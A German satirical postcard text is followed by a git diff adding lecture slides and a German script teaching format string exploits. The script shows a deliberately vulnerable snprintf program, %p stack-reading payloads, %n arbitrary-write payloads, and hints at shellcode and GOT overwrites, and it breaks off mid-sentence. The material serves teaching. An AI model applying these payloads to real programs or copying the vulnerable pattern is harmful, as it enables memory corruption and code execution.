9Fühl dich nicht gegrüßt. Fühl dich nicht geliebt. Fühl dich nicht adressiert. Fühl dich einfach ignoriert! Glaub nicht einmal, daß du wirklich gemeint warst, vielleicht hat die Post sich ja nur vertan oder ich, als ich im Zustand geistiger Umnachtung deine Adresse mit der des wirklichen Empfängers verwechselt habe. Nagut, fühle dich trotzdem erst einmal angesprochen, dagegen kann ich nämlich überhaupt nichts tun. Diese Karte erfüllt ja auch einfach nur ihren Selbstzweck, nämlich den, verschickt zu werden und meiner Eloquenz und meinem Geltungsdrang Ausdrucksmöglichkeiten zu schaffen. Also bild dir ja nichts darauf ein, oder sei auf keinen Fall stolz darauf, dieses Versandstück zu erhalten, welches bloß durch Zufall meinen Weg im Kaiser's striff und welches ich des angenehmen Anblicks wegen für 2,75 DM erstand und welches einen nicht zu beachtenen Gruß enthielt, der jetzt nichtig ist. Wenn du willst, kannst du diesen Brief serienbriefmäßig weiterverschicken, da er absolut nichts Persönliches oder Gutartiges enthält... daraus schlußfolgernd könntest du auch davon ausgehen, daß dieser Text auch nicht von mir stammt und ich gar nicht die Person war, die diese Karte im Kaiser's erstanden hat, also wäre diese Karte noch unpersönlicher, als ohnehin schon und ich hätte nur noch einmal 1,10 DM für die Briefmarke und 5 Pfennig für einen neuen Umschlag, sowie 0,3 Pfennig für die Tinte, mit der ich die Adresse geschrieben habe, berappt. Sämtliches kreatives Potential, daß du bis eben noch hättest bei mir annehmen können, würde also nicht bei mir liegen, sondern bei wem immer du diese Karte zuschreiben würdest. Und vielleicht bin ja ich, also der, dem du die Karte jetzt schickst, Originator, ich würde mich nicht freuen, gerade von dir diese Karte zurückzubekommen, ich würde nämlich wissen, daß du so blöde warst, dich kreativ zu fühlen, nur, weil du diese Karte weiter geschickt hast. Um dein Ego nun nicht vollends zu strapazieren, halte ich dir nochmal vor Augen, daß ich (oder der neue Absender) mindestens 1,153 DM oder maximal 3,905 DM investiert habe/hat, was wohl ein gewisses Interesse an deiner Unterhaltung oder im schlimmsten Fall an meiner Profilierung voraussetzt, nenne mir nur einen Grund, warum Ersteres zutreffen sollte! Die aufgeführten Investionsrahmenparameter sind aber auch nur Richtgrößen, da ich mindestens die Briefmarke und, wenn du erster Empfänger dieser Karte warst, auch noch die bunte Karte als Werbungskosten von der Steuer abgesetzt habe. Wieviel das ist, hängt letztenendes von meinem Einkomen ab, welches auch noch, um dich jetzt völlig einem Wechselbad der Gefühle preiszugeben, Einfluß darauf hat, welche ideelle Kosten zum alleinigen Preis der materiellen Komponenten dazukommen. Bei einem Stundenlohn von sagen wir 10 Mark kämen wir bei einer Minute Karte aussuchen, zwei Minuten Adresse auf den Umschlag schreiben, einer Minute Karte hineinstecken und 10 Sekunden Brief in den Briefkasten schieben (bei der Post mußte ich ja eh vorbei), auf einen Gegenwert von 52,7 Pfennig. Sollte ich den text nun wirklich selber geschrieben haben (6 Minuten), erhielten wir bei einem Stundenlohn von angenommen 20 Mark auf 1.38 Mark. Macht bisher im besten Fall 5.294 DM, 1.681 DM für den schlechtesten Fall ist aber wohl doch wahrscheinlicher, oder? Denn daß auf der Vorderseite nun ein Symbol positiver Gefühle bis hin zur Liebe prangt, soll kein Anzeichen ähnlicher Gefühle meinerseits dir gegenüber sein, die Existenz dieses Bildes rüht aus einem purem Umkehrschluß, der daraus besteht, daß es keine Karte ohne Bild gab und ich für ein häßliches Bild keine 2,75 DM ausgegeben hätte. Falls du nun aus der Tatsache, daß der Briefumschlag scheinbar liebevoll mit deiner Adresse versehen worden ist, ableitest, ich hätte positive Gefühle beim Ausfüllen der Adresse gehabt, sei versichert, ich schreibe immer so und wenn nicht, habe ich wohl gerade an jemanden anderes gedacht oder gerade Schönschreiben geübt oder mal meine Schablone dabeigehabt. Auch die Annahme, daß ich die Briefmarke angeleckt hätte und die daraus folgende Hoffnung, es können eine erotische Anspielung dahinter stecken, ist absurd. Ich habe auch keinen nassen Schwamm benutzt, was bei den Wasserpreisen heutzutage und dann gerade für einen Brief an dich ein Fopaz wäre. Nimm nun nicht auch noch an, ich würde mich befleißigen, dir darzulegen, wie ich die Briefmarke befestigt habe, lies gefälligst schnell weiter, um die Karte zu schonen, damit du sie eventuell noch weiterverschicken kannst! Solltest du auch noch die Idee haben, diese Karte kommerziell an Schreibwarenläden weiterzugeben, denke daran, daß es da irgendwo einen Urheber des Textes gab und er dich fürchterlich bestrafen wird, auch wenn es ihn ehren könnte, daß du den Text so gut fandest, ihn kommerziell vermarkten zu wollen, wenn es nicht gerade DU gewesen wärst. Aber wenn du die Karte schon in der x. Generation bekommen hättest, wäre es ein Gutes Zeichen dafür, aus der Karte mehr zu machen und vielleicht Geld daraus zu schinden. Was es dich kosten würde, weißt du ja jetzt. Ansonsten bliebe nur noch 1: Hab dich lieb!
diff --git a/stories/poetry/MeinVortrag/01.html b/stories/poetry/MeinVortrag/01.html
new file mode 100644
index 0000000..d476a90
--- /dev/null
+++ b/stories/poetry/MeinVortrag/01.html
@@ -0,0 +1,8 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2 <A HREF="02.html">-></A><CENTER>
3Format String Exploits
4
5Christian Carstensen
6Dirk Engling
7Martin Schobert
8</CENTER></PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/02.html b/stories/poetry/MeinVortrag/02.html
new file mode 100644
index 0000000..14df688
--- /dev/null
+++ b/stories/poetry/MeinVortrag/02.html
@@ -0,0 +1,6 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="01.html">&lt;-</A><A HREF="03.html">-></A>
3syntax:
4
5 printf( char *format, param1, param2, ... )
6</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/03.html b/stories/poetry/MeinVortrag/03.html
new file mode 100644
index 0000000..38f1bd1
--- /dev/null
+++ b/stories/poetry/MeinVortrag/03.html
@@ -0,0 +1,11 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="02.html">&lt;-</A><A HREF="04.html">-></A>
3int main( ) {
4 int a, b;
5 a = 7;
6 b = 9;
7
8 printf( "%d %d\n", a, b );
9 return 0;
10}
11</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/04.html b/stories/poetry/MeinVortrag/04.html
new file mode 100644
index 0000000..d28b181
--- /dev/null
+++ b/stories/poetry/MeinVortrag/04.html
@@ -0,0 +1,12 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="03.html">&lt;-</A><A HREF="05.html">-></A>
3.LC0:
4 .string "%d %d\n"
5main:
6 [ ... ]
7 pushl $9
8 pushl $7
9 pushl $.LC0
10 call printf
11 [ ... ]
12</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/05.html b/stories/poetry/MeinVortrag/05.html
new file mode 100644
index 0000000..e124667
--- /dev/null
+++ b/stories/poetry/MeinVortrag/05.html
@@ -0,0 +1,27 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="04.html">&lt;-</A><A HREF="06.html">-></A>
3int printing( const char *fmt, ...) {
4 va_list ap;
5 char output[1024];
6
7 va_start(ap, fmt);
8
9 while( *fmt ) {
10 if( *fmt != '%' ) {
11 putc( *fmt++ );
12 } else { /* Parameter substituieren */
13 switch( *++fmt ) {
14 case 'd':
15 int a = va_arg( ap, int );
16 /* Zahl a ausgeben */
17 break;
18 case 's':
19 char *s = va_arg( ap, char *);
20 /* String ausgeben */
21 ....
22 }
23 }
24
25 va_end(ap);
26}
27</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/06.html b/stories/poetry/MeinVortrag/06.html
new file mode 100644
index 0000000..1c3fe8d
--- /dev/null
+++ b/stories/poetry/MeinVortrag/06.html
@@ -0,0 +1,8 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="05.html">&lt;-</A><A HREF="07.html">-></A>
3#define va_start(ap, var) ((ap) = (va_list)&var)
4
5#define va_arg(ap, type) *(((type *)ap)++)
6
7#define va_end(ap)
8</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/07.html b/stories/poetry/MeinVortrag/07.html
new file mode 100644
index 0000000..6a4c25e
--- /dev/null
+++ b/stories/poetry/MeinVortrag/07.html
@@ -0,0 +1,14 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="06.html">&lt;-</A><A HREF="08.html">-></A>
3int main( ) {
4 int a = 0x23232323;
5
6 printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n");
7 return 0;
8}
9
10Liefert einen output von:
11
120x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0
130x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
14</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/08.html b/stories/poetry/MeinVortrag/08.html
new file mode 100644
index 0000000..35fc0e7
--- /dev/null
+++ b/stories/poetry/MeinVortrag/08.html
@@ -0,0 +1,16 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="07.html">&lt;-</A><A HREF="09.html">-></A>
3int main( ) {
4 int a;
5
6 printf ( "Ich bin 23 Zeichen lang%n\n", &a);
7 printf ( "Und printf hat's gezaehlt: %d", a);
8
9 return 0;
10}
11
12Liefert als Ausgabe:
13
14Ich bin 23 Zeichen lang
15Und printf hat's gezaehlt: 23
16</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/09.html b/stories/poetry/MeinVortrag/09.html
new file mode 100644
index 0000000..53922cd
--- /dev/null
+++ b/stories/poetry/MeinVortrag/09.html
@@ -0,0 +1,13 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="08.html">&lt;-</A><A HREF="10.html">-></A>
3in BASIC:
4
5 A = "Hallo"
6 PRINT A
7
8in C:
9
10 char *a = "Hallo";
11 printf( a );
12
13</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/10.html b/stories/poetry/MeinVortrag/10.html
new file mode 100644
index 0000000..d336ae5
--- /dev/null
+++ b/stories/poetry/MeinVortrag/10.html
@@ -0,0 +1,10 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="09.html">&lt;-</A><A HREF="11.html">-></A>
3int main( int argc, char **argv ) {
4 char buffer[ 256 ];
5
6 snprintf( buffer, sizeof buffer, argv[1] );
7
8 return 0;
9}
10</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/11.html b/stories/poetry/MeinVortrag/11.html
new file mode 100644
index 0000000..72c2ba5
--- /dev/null
+++ b/stories/poetry/MeinVortrag/11.html
@@ -0,0 +1,18 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="10.html">&lt;-</A><A HREF="12.html">-></A>
3int main( int argc, char **argv ) {
4 char buffer[ 256 ];
5
6/* !!!FALSCH!!! */
7#if 0
8 snprintf( buffer, sizeof buffer, argv[1] );
9#endif
10
11/* !!!RICHTIG!!! */
12#if 1
13 snprintf( buffer, sizeof buffer, "%s", argv[1] );
14#endif
15
16 return 0;
17}
18</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/12.html b/stories/poetry/MeinVortrag/12.html
new file mode 100644
index 0000000..7c87622
--- /dev/null
+++ b/stories/poetry/MeinVortrag/12.html
@@ -0,0 +1,17 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="11.html">&lt;-</A><A HREF="13.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/13.html b/stories/poetry/MeinVortrag/13.html
new file mode 100644
index 0000000..6137794
--- /dev/null
+++ b/stories/poetry/MeinVortrag/13.html
@@ -0,0 +1,24 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="12.html">&lt;-</A><A HREF="14.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln Probierung
19test auf: 0xbfbff6d4
20test enthaelt: 0x23232323
21
22Probierung
23test enthaelt: 0x23232323
24</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/14.html b/stories/poetry/MeinVortrag/14.html
new file mode 100644
index 0000000..63acc3e
--- /dev/null
+++ b/stories/poetry/MeinVortrag/14.html
@@ -0,0 +1,25 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="13.html">&lt;-</A><A HREF="15.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
19test auf: 0xbfbff6c0
20test enthaelt: 0x23232323
21
22AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04
230x2805a3a8 0x41414141 0x62317830 0x64356666
24test enthaelt: 0x23232323
25</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html
new file mode 100644
index 0000000..e132623
--- /dev/null
+++ b/stories/poetry/MeinVortrag/15.html
@@ -0,0 +1,23 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="14.html">&lt;-</A><A HREF="16.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln "AAAA%p %p %p %p %p %p%n %p %p"
19test auf: 0xbfbff6c0
20test enthaelt: 0x23232323
21
22Segmentation fault (core dumped)
23</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html
new file mode 100644
index 0000000..0644083
--- /dev/null
+++ b/stories/poetry/MeinVortrag/16.html
@@ -0,0 +1,25 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="15.html">&lt;-</A><A HREF="17.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln "%p %p %p %p %p %p%n %p %p"
19test auf: 0xbfbff6c0
20test enthaelt: 0x2323232323
21
220x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
230x68acf04 0x2805a3a8 0x62317830 0x64356666
24test enthaelt: 0x42
25</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/17.html b/stories/poetry/MeinVortrag/17.html
new file mode 100644
index 0000000..6a32312
--- /dev/null
+++ b/stories/poetry/MeinVortrag/17.html
@@ -0,0 +1,26 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="16.html">&lt;-</A><A HREF="18.html">-></A>
3# ./vuln "%p %p %p %p %p %p%n %p %p"
4test auf: 0xbfbff6c0
5test enthaelt: 0x2323232323
6
70x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
80x68acf04 0x2805a3a8 0x62317830 0x64356666
9test enthaelt: 0x42
10=======================================================
11# ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p "
12
13test auf: 0xbfbff6c0
14test enthaelt: 0x23232323
15
160x1bff5d80xbfbff61c0x2804d7990x80483370x68acf04\
170x2805a3a80x623178300x64356666
18test enthaelt: 0x3D
19=======================================================
20# ./vuln "%8p%8p%8p%8p%111638553p%999999999p%n "
21test auf: 0xbfbff6b0
22test enthaelt: 0x23232323
23
240x1bff5c80xbfbff60c0x2804d7990x8048337
25test enthaelt: 0x42424242
26</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/18.html b/stories/poetry/MeinVortrag/18.html
new file mode 100644
index 0000000..4c50a98
--- /dev/null
+++ b/stories/poetry/MeinVortrag/18.html
@@ -0,0 +1,20 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="17.html">&lt;-</A><A HREF="19.html">-></A>
3
4
5
6
7
8
9
10
11
12"/../../../../../../../../../bin/sh"
13
14
15
16
17
18
19
20</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/19.html b/stories/poetry/MeinVortrag/19.html
new file mode 100644
index 0000000..3261117
--- /dev/null
+++ b/stories/poetry/MeinVortrag/19.html
@@ -0,0 +1,14 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="1.html">&lt;-</A><A HREF="1.html">-></A>
3
4
5
6
7That's all folks...
8
9links:
10
11http://community.core-sdi.com/~juliano/
12http://www.phrack.org/show.php?p=49&a=14
13
14</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings
new file mode 100644
index 0000000..7d6b591
--- /dev/null
+++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings
@@ -0,0 +1,367 @@
1Format String Exploits:
2
3Heisst grundsaetzlich, die Eigenschaft der
4f/s(n)printf/scanf - Funktionsfamilie
5auszunutzen, dass sie eine va_args-liste
6zum Uebergeben der Parameter und einen
7String zum Beschreiben der Anzahl und Art
8der Parameter benutzt.
9
10syntax:
11
12 printf( char *format, param1, param2, ... )
13
14Wenn man einen C-Kurs mitmacht, wird einem
15vermittelt, dass man in den Formatstring
16eintragen soll, welche Paramater die printf
17Funktion bekommen wird und wenn es
18Inkonsistenzen zwischen dem Formatstring und
19den Paramtern gibt, stuerzt das Programm ab.
20Und genau an der Stelle beginnt der spannende
21Part: wenn ein Programm abstuerzt,
22wurde sicher Speicher der Applikation ueber-
23schrieben und Ziel des Spiels ist es nun, zu
24versuchen, gezielt Speicher mit uns geneigten
25Werten zu ueberschreiben. Und unter uns: sooo
26schnell schiesst man ein Programm nicht ab :)
27Also schauen wir uns mal einen validen Aufruf
28der Funktion an:
29
30int main( ) {
31 int a, b;
32 a = 7;
33 b = 9;
34
35 printf( "%d %d\n", a, b );
36 return 0;
37}
38
39In optimiertem Assembler sieht das so aus:
40
41.LC0:
42 .string "%d %d\n"
43main:
44 [ ... ]
45 pushl $9
46 pushl $7
47 pushl $.LC0
48 call printf
49 [ ... ]
50
51Dort steht, dass erst b und a auf den Stack
52geschoben werden, danach die Adresse des
53Formatstrings und schliesslich printf aufgerufen
54wird.
55
56In C ist es generell nicht der Fall, dass
57Funktionen ueber die Parameter informiert werden,
58die sie auf dem Stack erhalten, das geben sie
59naemlich beim Compilen an und erwarten dann auf
60dem Stack auch genau diese Parameter vorzufinden.
61
62Einzige Ausnahme bildet ein Konstrukt namens
63va. Das bedeutet "Varibale Argumentenliste". Die
64Funktion printf arbeitet dann auch wie folgt:
65
66int printing( const char *fmt, ...) {
67 va_list ap;
68 char output[1024];
69
70 va_start(ap, fmt);
71
72 while( *fmt ) {
73 if( *fmt != '%' ) {
74 putc( *fmt++ );
75 } else { /* Parameter substituieren */
76 switch( *++fmt ) {
77 case 'd':
78 int a = va_arg( ap, int );
79 /* Zahl a ausgeben */
80 break;
81 case 's':
82 char *s = va_arg( ap, char *);
83 /* String ausgeben */
84 ....
85 }
86 }
87
88 va_end(ap);
89}
90
91Hinter der ganzen vargs Magie verbergen sich aber
92nur diese drei (jetzt mal von mir leicht
93vereinfachten) Makros:
94
95#define va_start(ap, var) ((ap) = (va_list)&var)
96
97#define va_arg(ap, type) *(((type *)ap++))
98
99#define va_end(ap)
100
101In Wirklichkeit wird da noch ein wenig am Alignment
102der Variablen geschraubt, aber im Groben stellt dies
103schon dar, wie variable Argumentlisten behandelt
104werden: printf holt einfach vom Stack ab, egal, ob da
105was drauf steht, oder nicht.
106
107Was drauf stehen tut aber immer, naemlich Ruecksprung-
108adressen und der Stack der aufrufenden Funktionen.
109Und das koennen wir uns mal angucken:
110
111int main( ) {
112 int a = 0x23232323;
113
114 printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n");
115 return 0;
116}
117Liefert einen output von:
118
1190x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
120
121Und gugge da: wir erkennen doch da glatt unser
122nicht ganz zufaellig gewaehltes a wieder.
123
124%p ist der Bezeichner fuer einen ganz normalen
125pointer, also 4 bytes, die vom Stack geholt
126und in der 0xn Notation angezeigt werden.
127
128Aber printf kann mehr:
129
130int a;
131
132printf ( "Ich bin 23 Zeichen lang%n\n", &a);
133printf ( "Und printf hat's gezaehlt: %d", a);
134
135Liefert als Ausgabe:
136
137Ich bin 23 Zeichen lang
138Und printf hat's gezaehlt: 23
139
140Was ist passiert? Printf erwartet bei einem %n, dass
141auf dem Stack der Zeiger auf ein int liegt, in das
142er die Anzahl der in diesem Funktionsaufruf
143ausgegebnen Zeichen schreibt. Nicht auszumalen, was
144passiert, wenn auf dem Stack gar keine solide Adresse
145liegt :)
146
147Printf bietet uns also einen ganz soliden Weg, den
148Stack zu inspizieren und aktiv Speicher zu veraendern.
149Bliebe die Frage, warum sollte uns ein Programm den
150Weg ebnen, den Formatstring selbst zu waehlen. Da gibt
151es zwei Erklaerungen:
1521. bieten einige Programme fuer formatierte Textausgabe
153 dem Benutzer an, selber Formatstrings anzugeben.
154 Dies ist aber nicht so spannend, da der String
155 meist sehr genau geprueft wird, allerdings gibt es
156 einen exploit fuer den Mail-Reader mutt, der genau
157 ueber einen solchen Formatierungsstring anfaellig
158 war
1592. Ist es dem printf egal, ob man ihm nun wirklich einen
160 Zeiger auf den Formatstring gegeben hat, oder den
161 Zeiger auf IRGENDEINEN String, der ausgegeben werden
162 soll. Typischer BASIC Programmierstil ist:
163
164 A = "Hallo"
165 PRINT A
166
167 in C:
168
169 char *a = "Hallo";
170 printf( a );
171
172 funktioniert auch hervorragend, solange der String
173 a keine printf - control characters, naemlich "%"'s
174 enthaelt.
175
176Genug der Theorie, in der Praxis sieht sowas dann ganz
177schlicht so aus:
178
179int main( int argc, char **argv ) {
180 char buffer[ 256 ];
181
182 snprintf( buffer, sizeof buffer, argv[1] );
183
184 return 0;
185}
186
187Man beachte, dass der Programmierer sich grosse Muehe
188gegeben hat, buffer-overflows zu vermeiden, indem er
189sichere Variante von sprintf, das snprintf benutzt hat,
190damit auch wirklich maximal 32 bytes in den Buffer
191gelangen. Allerdings hat er beim String, der geschrieben
192werden soll, geschlampt: die Zeile muesste richtig lauten
193
194 snprintf( buffer, sizeof buffer, "%s", argv[1] );
195
196Nun, was tut dieses Funktion? Schreibt in den Buffer mit
197maximal 32 Zeichen den String argv[1], also das erste
198Kommandozeilenargument der Funktion. Aber tut es das auch
199wirklich? Nur, wie gesagt, solange im String keine '%'
200stehen, aber solche Zeichen in die Kommandozeile einzu-
201tippern kriegen wir doch noch hin :)
202
203Es gibt noch das kleine Problem, dass der Printf halt in
204einen Buffer und nicht auf den Screen schreibt, das laesst
205sich aber leicht loesen, indem wir entweder einen Debugger
206benutzen, um den Inhalt des Buffers auszulesen, oder ein-
207fach wieder printf dafuer benutzen, sieht dann so aus:
208
209int main( int argc, char **argv ) {
210 int test = 0x23232323;
211 char buffer[ 256 ];
212
213 printf( "test auf: %p\n", &test );
214 printf( "test enthaelt: %x\n\n", test);
215
216 snprintf( buffer, sizeof buffer, argv[1] );
217
218 printf( "%s\n", buffer);
219 printf( "test enthaelt: %x\n\n", test);
220
221 return 0;
222}
223
224Ich habe nun noch eine Variable eingefuegt, an der wir
225ein wenig rumspielen wollen: Dessen Adresse wuerde man
226wieder mit einem debugger herausfinden, hier benutz ich
227printf, auch den aktuellen Wert geb ich einmal vor und
228einmal nach der "Attacke" aus.
229Das compilete Programm wirft mir folgendes raus:
230
231# ./vuln Probierung
232test auf: 0xbfbff6d4
233test enthaelt: 0x23232323
234
235Probierung
236test enthaelt: 0x23232323
237
238Nuescht besonderes. Probieren wir nun mal ein bisschen
239mit den Formatstrings rum:
240
241# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
242test auf: 0xbfbff6c0
243test enthaelt: 0x23232323
244
245AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666
246test enthaelt: 0x23232323
247
248Als erstes sehen wir, dass sich die Adressse von test
249(das sich ja im Stack befindet) variiert. Das liegt
250daran, dass die Kommandozeilenparameter im Stack abgelegt
251werden. Wir koennen aber mit Anfuerungszeichen und vielen
252Spaces ueber die gesamte Testphase fuer einen konstanten
253offset sorgen.
254Zweitens liegt, wie eben erwaehnt, auch der Format-String
255nocheinmal im Stack weiter oben rum, die 0x41414141 sind
256unsere AAAA in der Kommandozeile.
257
258Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin
259entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer
260weniger und tun dafuer ein %n hin:
261
262# ./test "AAAA%p %p %p %p %p %p%n %p %p"
263test auf: 0xbfbff6c0
264test enthaelt: 0x23232323
265
266Segmentation fault (core dumped)
267
268Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt
269nicht mit den Formatstrings rum. Aber was genau hab ich jetzt
270kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n
271vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau
272bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als
273naechstes 0x41414141. Und dieser Wert wird ja nun bei einem
274%n als Adresse einer int interpretiert, an die der aktuelle
275Character-Count geschrieben werden soll. Und an 0x41414141
276befindet sich kein lesbarer Speicher. Also kein Geheimnis.
277Aber wer jetzt einen Exploit entdeckt hat, soll sich mal
278melden. Genau... die 0x41414141 kommt ja direkt aus unserem
279Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege
280da jetzt naeher, dort mal eine valide Adresse hinzuschreiben?
281Wir haetten da sogar noch eine ueber:
2820xbfbff6c0
283Da liegt naemlich die Variable test und es ist sogar eine int.
284Als String sieht die Adresse so aus:
285Ungewoehnlich, aber wat solls, solange kein % und kein \000
286dabei ist, soll uns das nicht stoeren :)
287Wir probieren das einfach mal aus:
288
289# ./vuln "%p %p %p %p %p %p%n %p %p"
290test auf: 0xbfbff6c0
291test enthaelt: 0x2323232323
292
2930x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666
294test enthaelt: 0x42
295
296An der Stelle, wo da zwei Leerzeichen hintereinander sind,
297wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt
2980x42.
299
300Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum
301Doppelleerzeichen 66 ausgegebene Characters.
302
303Wir haben es also geschafft, an eine beliebige Adresse einen
304leider noch einigermassen zufaelligen Wert zu schreiben, das
305soll sich jetzt aendern. Was wir brauchen, ist eine wohl-
306bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden.
307Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen,
308damit wir mit ihnen rechnen koennen. Dat jeht so:
309
310# ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p "
311test auf: 0xbfbff6c0
312test enthaelt: 0x23232323
313
3140x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666
315test enthaelt: 0x3D
316
317und mit der letzten koennen wir noch ein wenig spielen:
318
319./test "%8p%8p%8p%8p%111638553p%999999999p%n "
320test auf: 0xbfbff6b0
321test enthaelt: 0x23232323
322
3230x1bff5c80xbfbff60c0x2804d7990x8048337
324test enthaelt: 0x42424242
325
326Ich musste fuer die grossen Zahlen leider noch ein wenig an der
327Adresse von test rumspielen, aber im Prinzip ist zu erkennen,
328dass ich an jede Adresse jeden Wert schreiben kann. Was habe
329ich getan? Man kann fuer Zahlenkonvertierungen in printf eine
330width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt
331wird, wenn die Zahl nicht breit genug wird. Und das koennen nu
332auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man
333auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn
334man mal eine valide Adresse wohin schreiben will. Und netterweise
335liefert printf nun auch nicht die Zahl der geschriebenen Zeichen,
336sondern die der "theoretisch" geschriebenen in %n zurueck, was
337dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen...
338
339Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen,
340man uebergibt diesen einfach mit im Formatstring und kann die
341Einsprungadresse punktgenau auf den Stack werfen. Waere aber
342eigentlich eine Schande, denn Formatstringexploits sind so fili-
343gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen
344return adressen eigentlich nur raten.
345
346Viel eleganter ist es, die GOT des binaries zu veraendern.
347Dies ist die global object table, und dort hinein kommen fuer
348alle Funktionen, die aus Libraries eingebunden werden, die
